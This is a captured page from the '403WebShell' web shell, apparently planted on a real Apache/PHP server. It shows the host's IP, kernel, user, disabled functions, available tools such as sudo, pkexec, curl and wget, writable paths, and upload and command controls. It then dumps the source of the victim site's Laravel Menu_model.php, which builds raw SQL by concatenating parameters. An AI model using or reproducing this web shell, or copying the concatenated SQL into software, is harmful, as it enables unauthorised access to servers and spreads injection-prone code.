Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/ats.isankalpa.org/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/ats.isankalpa.org/app/Menu_model.php
<?php

namespace App;
 
use Illuminate\Database\Eloquent\Model;
use Illuminate\Support\Facades\DB;

class Menu_model extends Model
{
    
	private $menu_table, $menu_permit_table;

	public function __construct()
    {
    	$this->menu_table 			= config( 'app.CUSTOM_CONFIG.DB_TABLES.MENU_TABLE' );
	 	$this->menu_permit_table 	= config( 'app.CUSTOM_CONFIG.DB_TABLES.MENU_PERMIT_TABLE' );
    }

	public function get_all_menus( $menu_type = 'all', $parent_menu_id = 0, $show_as_menu = true )
	{
		$cond = [];
		
		if( $show_as_menu )
		{
			$cond[] = ['i_show_as_menu', '=', '1'];
		}

		if( $menu_type == 'child')
		{
			if( $parent_menu_id > 0 )
			{
				$cond[] = ['i_parent_id', '=', $parent_menu_id];
			}
			else
			{
				$cond[] = ['i_parent_id', '>', '0'];
			}

		}
		elseif( $menu_type == 'parent')
		{
			$cond[] = ['i_parent_id', '=', '0'];
		}

		$menus = DB::table($this->menu_table)->select('menu.*')->where($cond)->orderby('menu.i_display_order')->get();

		if( $menus->count() > 0 )
		{
			return $menus->toArray();
		}
		else
		{
			return false;
		}
	}



	public function get_sub_menus_by_user_type( $user_type = '' )
	{
		if( $user_type > 0 )
		{			
			//DB::enableQueryLog();

			$menus = DB::table($this->menu_table.' As mn' )
								->join($this->menu_permit_table.' As mp', 'mp.i_menu_id','=','mn.i_id')
								->selectRaw('mn.s_name, mn.s_link, mn.s_icon_class, mn.i_display_order, mp.s_link As permit_link,mp.s_action')
								->where('mp.i_user_type','=',$user_type)
								->where('mn.i_parent_id','>','0')
								->orderby('mn.i_display_order')
								->get();

			//dd(DB::getQueryLog());

			/*$menus = DB::table($this->menu_table.' As mn')->join($this->menu_permit_table.' As mp', 'mp.i_menu_id','=','mn.i_id')->select('mn.s_name','mn.s_link','mn.s_icon_class','mn.i_display_order','mp.s_link As permit_link','mp.s_action')->where([$cond])->get();*/

			if( $menus->count() > 0 )
			{
				return $menus->toArray();
			}
			else
			{
				return false;
			}
		}

		return false;
	}



	public function has_user_authorized( $user_type = 0, $menu_id = 0 )
	{
		if( $user_type > 0 && $menu_id > 0 )
		{
			if( $user_type == 1 )
			{
				return true;
			}
			//DB::enableQueryLog();
			/*$permission = DB::table($this->menu_permit_table.' As mp' )
								->selectRaw('mp.i_id,mp.s_action,mp.i_menu_id,mp.s_link')
								->where('mp.i_user_type','=',$user_type)
								->where('mp.i_menu_id','=',$menu_id)
								->orWhere('mp.i_menu_id','=','0')
								->get();*/
			$sql = "SELECT mp.i_id,mp.s_action,mp.i_menu_id,mp.s_link 
					FROM {$this->menu_permit_table} As mp 
					WHERE mp.i_user_type = ".$user_type." AND mp.i_menu_id = ".$menu_id;
			
			$permission = DB::select($sql);

			//pre( DB::getQueryLog());							
			//pre($permission);			
			//echo "<BR />".count($permission);
			if( COUNT( $permission ) > 0 )
			{
				return true;
			}
		}
		return false;
	}



	public function fetch_access_control_by_user_id($i_user_type = 0) 
	{
        $ret_ = array();

        $s_qry = "SELECT m1.i_id As first_label_id,m1.s_name As first_label_menu,m2.i_id As second_label_id,m2.s_name As second_label_menu,
        			m2.s_action_permit, mp2.i_id As i_menu_permit_id, mp2.actions
					FROM  ( 
							SELECT m4.*
							FROM ". $this->menu_table ." As m4
							WHERE m4.i_parent_id = '0' AND m4.i_show_as_menu = '1'
						  ) As m1
					LEFT JOIN " . $this->menu_table . " As m2 ON m1.i_id = m2.i_parent_id
					LEFT JOIN ( 
								SELECT mp.i_id,mp.i_menu_id, GROUP_CONCAT( mp.s_action SEPARATOR '##' ) AS actions
								FROM " . $this->menu_permit_table . " mp
								WHERE mp.i_user_type = ".$i_user_type."
								AND mp.i_menu_id <> 0
								GROUP BY mp.i_menu_id ) As mp2 ON m2.i_id = mp2.i_menu_id

					ORDER BY m1.i_display_order ASC";

        $rs = DB::select($s_qry );

        if( count( $rs ) > 0 )
        {
			$i_cnt = 0;
            foreach ($rs as $row) 
            {			
				if(!empty($row->second_label_id))
				{
					$ret_[$i_cnt]["first_label_id"] 	= $row->first_label_id; ////always integer
					$ret_[$i_cnt]["second_label_id"] 	= $row->second_label_id;
					$ret_[$i_cnt]["first_label_menu"] 	= $row->first_label_menu;
					$ret_[$i_cnt]["second_label_menu"] 	= $row->second_label_menu;
					$ret_[$i_cnt]["s_action_permit"] 	= $row->s_action_permit;
					$ret_[$i_cnt]["i_menu_permit_id"] 	= $row->i_menu_permit_id;
					$ret_[$i_cnt]["actions"] 			= $row->actions;

					$i_cnt++; //Incerement row
				}
            }
        }
        unset($rs, $s_qry);

        return $ret_;
    }



    public function delete_old_menu_permission( $user_type_id = 0 )
	{
		if( is_numeric( $user_type_id ) && $user_type_id > 0 )

			return $ret = DB::table( $this->menu_permit_table )->where( 'i_user_type', '=', $user_type_id )->delete();
	}


	public function get_link_for_menu( $i_menu_id, $i_user_type = 1 )
	{
		$ret_ = array();

		if( is_numeric( $i_menu_id ) && $i_menu_id > 0 )
		{
	        $s_qry = "SELECT s_action, s_link 
	        			FROM ". $this->menu_permit_table . 
	        			" WHERE i_menu_id = ".$i_menu_id." AND i_user_type = ".$i_user_type.
	        			" ORDER BY s_action ASC";

	        $rs = DB::select( $s_qry );

	        if( count( $rs ) > 0 )
	        {
	            foreach ($rs as $row) 
	            {
	            	 $ret_[$row->s_action] = $row->s_link;
	            }
	        }

	        unset($rs, $s_qry);
    	}
        return $ret_;
	}

	

	public function add_menu_permit_for_user( $data )
	{
		$ret_ = false;

		if( !empty( $data ) )
		{
			$ret_ = DB::table($this->menu_permit_table)->insertGetId( $data );
		}
		return $ret_;

	}



}

Youez - 2016 - github.com/yon3zu
LinuXploit